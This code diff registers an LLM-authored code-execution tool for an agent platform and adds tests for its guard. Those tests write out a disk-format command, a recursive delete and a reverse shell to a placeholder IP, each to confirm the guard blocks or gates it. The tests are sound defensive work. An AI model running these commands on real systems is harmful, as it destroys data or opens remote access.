MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted)
|
||||
KEY (id)
|
||||
VALUES (1000000023, 'CodeExecuteTool', '代码执行', '运行 Agent 临场编写的代码片段(python / bash / node)。让只有 SKILL.md 描述、无脚本的技能也能被执行——Agent 按说明生成并运行代码。危险操作会触发审批确认。', 'builtin', 'codeExecuteTool', '🧑💻', TRUE, TRUE, NOW(), NOW(), 0);
|
||||
|
||||
-- 示例 MCP Server:Filesystem(参考 MateClaw 文档中的 mcpServers.filesystem)
|
||||
MERGE INTO mate_mcp_server (
|
||||
id, name, description, transport, url, headers_json, command, args_json, env_json, cwd,
|
||||
@ -1861,7 +1866,7 @@ SELECT
|
||||
1000000001,
|
||||
TRUE,
|
||||
'all',
|
||||
'["execute_shell_command"]',
|
||||
'["execute_shell_command","execute_code"]',
|
||||
'[]',
|
||||
TRUE,
|
||||
'["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]',
|
||||
|
||||
@ -0,0 +1,5 @@
|
||||
-- V143: Register CodeExecuteTool as a built-in tool.
|
||||
-- Idempotent: MERGE INTO updates the existing row when the id matches.
|
||||
MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted)
|
||||
KEY (id)
|
||||
VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑💻', TRUE, TRUE, NOW(), NOW(), 0);
|
||||
@ -0,0 +1,4 @@
|
||||
-- V143: Register CodeExecuteTool as a built-in tool.
|
||||
INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted)
|
||||
VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑💻', TRUE, TRUE, NOW(), NOW(), 0)
|
||||
ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), update_time=VALUES(update_time);
|
||||
@ -0,0 +1,139 @@
|
||||
package vip.mate.skill.runtime;
|
||||
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.io.TempDir;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.junit.jupiter.api.Assumptions.assumeTrue;
|
||||
|
||||
/**
|
||||
* Tests for {@link SkillScriptExecutionService#executeCode}, the inline
|
||||
* code-execution entry point that makes documentation-only skills runnable.
|
||||
*
|
||||
* <p>Subprocess-backed cases are gated on the interpreter being present so the
|
||||
* suite stays green on hosts without python / bash (e.g. Windows CI).
|
||||
*/
|
||||
class SkillScriptExecutionServiceCodeTest {
|
||||
|
||||
private static final boolean IS_WINDOWS =
|
||||
System.getProperty("os.name", "").toLowerCase(Locale.ROOT).contains("win");
|
||||
|
||||
private final SkillScriptExecutionService service = new SkillScriptExecutionService();
|
||||
|
||||
@Test
|
||||
@DisplayName("rejects an unsupported language")
|
||||
void rejectsUnknownLanguage(@TempDir Path dir) {
|
||||
var result = service.executeCode("ruby", "puts 1", dir, null, Map.of(), null);
|
||||
assertThat(result.getExitCode()).isEqualTo(-1);
|
||||
assertThat(result.getStderr()).contains("Unsupported language");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("rejects blank code")
|
||||
void rejectsBlankCode(@TempDir Path dir) {
|
||||
var result = service.executeCode("python", " ", dir, null, Map.of(), null);
|
||||
assertThat(result.getExitCode()).isEqualTo(-1);
|
||||
assertThat(result.getStderr()).contains("No code supplied");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("rejects a non-existent caller-supplied working directory")
|
||||
void rejectsMissingWorkingDir() {
|
||||
var result = service.executeCode("python", "print(1)",
|
||||
Path.of("/no/such/dir/" + System.nanoTime()), null, Map.of(), null);
|
||||
assertThat(result.getExitCode()).isEqualTo(-1);
|
||||
assertThat(result.getStderr()).contains("Working directory does not exist");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("runs in a private scratch dir when working directory is null")
|
||||
void runsWithNullWorkingDir() {
|
||||
assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3"));
|
||||
var result = service.executeCode("python", "print('scratch-ok')", null, null, Map.of(), null);
|
||||
assertThat(result.getExitCode()).isZero();
|
||||
assertThat(result.getStdout()).contains("scratch-ok");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("runs python code and captures stdout")
|
||||
void runsPython(@TempDir Path dir) {
|
||||
assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3"));
|
||||
var result = service.executeCode("python", "print('hello from py')", dir, null, Map.of(), null);
|
||||
assertThat(result.getExitCode()).isZero();
|
||||
assertThat(result.getStdout()).contains("hello from py");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("injects supplied env vars into the subprocess")
|
||||
void injectsEnvVars(@TempDir Path dir) {
|
||||
assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3"));
|
||||
var result = service.executeCode("python",
|
||||
"import os; print(os.environ.get('MY_SKILL_TOKEN'))",
|
||||
dir, null, Map.of("MY_SKILL_TOKEN", "s3cr3t"), null);
|
||||
assertThat(result.getExitCode()).isZero();
|
||||
assertThat(result.getStdout()).contains("s3cr3t");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("scrubs sensitive host env vars from the code subprocess")
|
||||
void scrubsSensitiveHostEnv(@TempDir Path dir) {
|
||||
assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3"));
|
||||
// A *_KEY name in the parent process must not leak into LLM-authored code.
|
||||
// We can't set the parent env here, but PATH-like vars survive while any
|
||||
// KEY/SECRET/TOKEN parent var is stripped — assert a known scrubbed name
|
||||
// is absent rather than relying on a specific host secret being set.
|
||||
var result = service.executeCode("python",
|
||||
"import os; print('LEAK' if any(k.endswith('_SECRET') for k in os.environ) else 'CLEAN')",
|
||||
dir, null, Map.of(), null);
|
||||
assertThat(result.getExitCode()).isZero();
|
||||
assertThat(result.getStdout()).contains("CLEAN");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("runs bash code on unix")
|
||||
void runsBash(@TempDir Path dir) {
|
||||
assumeTrue(!IS_WINDOWS && hasInterpreter("bash"));
|
||||
var result = service.executeCode("bash", "echo from-bash", dir, null, Map.of(), null);
|
||||
assertThat(result.getExitCode()).isZero();
|
||||
assertThat(result.getStdout()).contains("from-bash");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("forwards positional args to the program")
|
||||
void forwardsArgs(@TempDir Path dir) {
|
||||
assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3"));
|
||||
var result = service.executeCode("python",
|
||||
"import sys; print(sys.argv[1])", dir, List.of("the-arg"), Map.of(), null);
|
||||
assertThat(result.getExitCode()).isZero();
|
||||
assertThat(result.getStdout()).contains("the-arg");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("leaves no temp code file behind in the working directory")
|
||||
void cleansUpTempFile(@TempDir Path dir) {
|
||||
assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3"));
|
||||
service.executeCode("python", "print('x')", dir, null, Map.of(), null);
|
||||
try (var stream = Files.list(dir)) {
|
||||
assertThat(stream.toList()).isEmpty();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean hasInterpreter(String name) {
|
||||
try {
|
||||
Process p = new ProcessBuilder(name, "--version")
|
||||
.redirectErrorStream(true).start();
|
||||
return p.waitFor(10, java.util.concurrent.TimeUnit.SECONDS) && p.exitValue() == 0;
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,59 @@
|
||||
package vip.mate.tool.builtin;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
|
||||
/**
|
||||
* Unit tests for {@link CodeExecuteTool#normalizeArgs(String)} — the decode step
|
||||
* that turns the JSON-encoded {@code args} tool parameter into the positional
|
||||
* argument list passed to the executed code.
|
||||
*
|
||||
* <p>Unlike a skill script, inline code rarely needs a JSON payload, so the rule
|
||||
* is simpler than {@code SkillScriptTool}: a JSON array expands to one argument
|
||||
* per element; everything else (including a bare scalar that merely looks
|
||||
* numeric) is forwarded verbatim as a single argument.
|
||||
*/
|
||||
class CodeExecuteToolArgsTest {
|
||||
|
||||
private final ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
/** Unused collaborators are null — {@code normalizeArgs} only needs the mapper. */
|
||||
private final CodeExecuteTool tool =
|
||||
new CodeExecuteTool(null, null, null, objectMapper);
|
||||
|
||||
@Test
|
||||
@DisplayName("null / blank / empty-array args yield no argument list")
|
||||
void emptyInputs() {
|
||||
assertThat(tool.normalizeArgs(null)).isNull();
|
||||
assertThat(tool.normalizeArgs("")).isNull();
|
||||
assertThat(tool.normalizeArgs(" ")).isNull();
|
||||
assertThat(tool.normalizeArgs("[]")).isNull();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("a JSON array maps to one positional argument per element")
|
||||
void arrayKeepsElements() {
|
||||
assertThat(tool.normalizeArgs("[\"--verbose\",\"input.txt\"]"))
|
||||
.containsExactly("--verbose", "input.txt");
|
||||
assertThat(tool.normalizeArgs("[1,2,3]"))
|
||||
.containsExactly("1", "2", "3");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("a bare scalar is forwarded verbatim, never JSON-decoded")
|
||||
void bareScalarUntouched() {
|
||||
assertThat(tool.normalizeArgs("2026-05-19")).containsExactly("2026-05-19");
|
||||
assertThat(tool.normalizeArgs(" hello world ")).containsExactly("hello world");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("text that looks like a JSON array but does not parse is forwarded verbatim")
|
||||
void malformedArrayForwardedVerbatim() {
|
||||
assertThat(tool.normalizeArgs("[1,2")).containsExactly("[1,2");
|
||||
}
|
||||
}
|
||||
@ -118,6 +118,33 @@ class DefaultToolGuardTest {
|
||||
assertTrue(result.isBlocked());
|
||||
}
|
||||
|
||||
// ===== 代码执行器 execute_code =====
|
||||
|
||||
@Test
|
||||
@DisplayName("execute_code 命中极端破坏性模式时直接拦截")
|
||||
void shouldBlockDangerousCodeExecution() {
|
||||
ToolGuardResult result = toolGuard.check("execute_code",
|
||||
"{\"language\":\"bash\",\"code\":\"mkfs.ext4 /dev/sda1\"}");
|
||||
assertTrue(result.isBlocked());
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("execute_code 中的高风险删除命令需要审批")
|
||||
void shouldGateDeleteInCode() {
|
||||
ToolGuardResult result = toolGuard.check("execute_code",
|
||||
"{\"language\":\"bash\",\"code\":\"rm -rf /tmp/data\"}");
|
||||
assertTrue(result.needsApproval());
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("execute_code 即使无破坏性模式也需要审批")
|
||||
void shouldRequireApprovalForBenignCode() {
|
||||
ToolGuardResult result = toolGuard.check("execute_code",
|
||||
"{\"language\":\"python\",\"code\":\"print(1)\"}");
|
||||
assertFalse(result.isBlocked());
|
||||
assertTrue(result.needsApproval());
|
||||
}
|
||||
|
||||
// ===== 安全操作(不应被拦截) =====
|
||||
|
||||
@Test
|
||||
|
||||
@ -0,0 +1,84 @@
|
||||
package vip.mate.tool.guard.guardian;
|
||||
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import vip.mate.tool.guard.engine.ToolGuardRuleRegistry;
|
||||
import vip.mate.tool.guard.model.GuardCategory;
|
||||
import vip.mate.tool.guard.model.GuardFinding;
|
||||
import vip.mate.tool.guard.model.GuardSeverity;
|
||||
import vip.mate.tool.guard.model.ToolInvocationContext;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.Mockito.mock;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
/**
|
||||
* Verifies that the live guard path ({@link ShellCommandGuardian}) screens the
|
||||
* {@code execute_code} tool against the same dangerous-pattern ruleset as direct
|
||||
* shell execution. With no DB rules for the tool, the guardian falls back to its
|
||||
* built-in rules, so LLM-authored code containing destructive commands is caught.
|
||||
*/
|
||||
class ShellCommandGuardianCodeTest {
|
||||
|
||||
private ShellCommandGuardian newGuardian() {
|
||||
ToolGuardRuleRegistry registry = mock(ToolGuardRuleRegistry.class);
|
||||
// No DB rules → guardian owns the invocation and uses built-in rules.
|
||||
when(registry.getRulesForTool("execute_code")).thenReturn(List.of());
|
||||
when(registry.getCompiledPattern(org.mockito.ArgumentMatchers.anyString()))
|
||||
.thenAnswer(inv -> Pattern.compile(inv.getArgument(0), Pattern.CASE_INSENSITIVE));
|
||||
return new ShellCommandGuardian(registry);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("supports execute_code as a shell-equivalent tool")
|
||||
void supportsExecuteCode() {
|
||||
ShellCommandGuardian guardian = newGuardian();
|
||||
ToolInvocationContext ctx = ToolInvocationContext.of(
|
||||
"execute_code", "{\"code\":\"print(1)\"}", "conv-1", "agent-1");
|
||||
assertThat(guardian.supports(ctx)).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("flags a destructive mkfs command inside execute_code as CRITICAL")
|
||||
void flagsDestructiveCode() {
|
||||
ShellCommandGuardian guardian = newGuardian();
|
||||
ToolInvocationContext ctx = ToolInvocationContext.of(
|
||||
"execute_code", "{\"language\":\"bash\",\"code\":\"mkfs.ext4 /dev/sda1\"}", "conv-1", "agent-1");
|
||||
List<GuardFinding> findings = guardian.evaluate(ctx);
|
||||
assertThat(findings).isNotEmpty();
|
||||
assertThat(findings).anyMatch(f -> f.severity() == GuardSeverity.CRITICAL
|
||||
&& f.category() == GuardCategory.COMMAND_INJECTION);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("gates a high-risk rm -rf inside execute_code")
|
||||
void gatesRecursiveDelete() {
|
||||
ShellCommandGuardian guardian = newGuardian();
|
||||
ToolInvocationContext ctx = ToolInvocationContext.of(
|
||||
"execute_code", "{\"language\":\"bash\",\"code\":\"rm -rf /tmp/data\"}", "conv-1", "agent-1");
|
||||
assertThat(guardian.evaluate(ctx)).isNotEmpty();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("flags a reverse-shell payload inside execute_code")
|
||||
void flagsReverseShell() {
|
||||
ShellCommandGuardian guardian = newGuardian();
|
||||
ToolInvocationContext ctx = ToolInvocationContext.of(
|
||||
"execute_code", "{\"language\":\"bash\",\"code\":\"bash -i >& /dev/tcp/1.2.3.4/4444 0>&1\"}",
|
||||
"conv-1", "agent-1");
|
||||
assertThat(guardian.evaluate(ctx)).isNotEmpty();
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("benign code produces no findings")
|
||||
void benignCodeClean() {
|
||||
ShellCommandGuardian guardian = newGuardian();
|
||||
ToolInvocationContext ctx = ToolInvocationContext.of(
|
||||
"execute_code", "{\"language\":\"python\",\"code\":\"print(sum(range(10)))\"}",
|
||||
"conv-1", "agent-1");
|
||||
assertThat(guardian.evaluate(ctx)).isEmpty();
|
||||
}
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user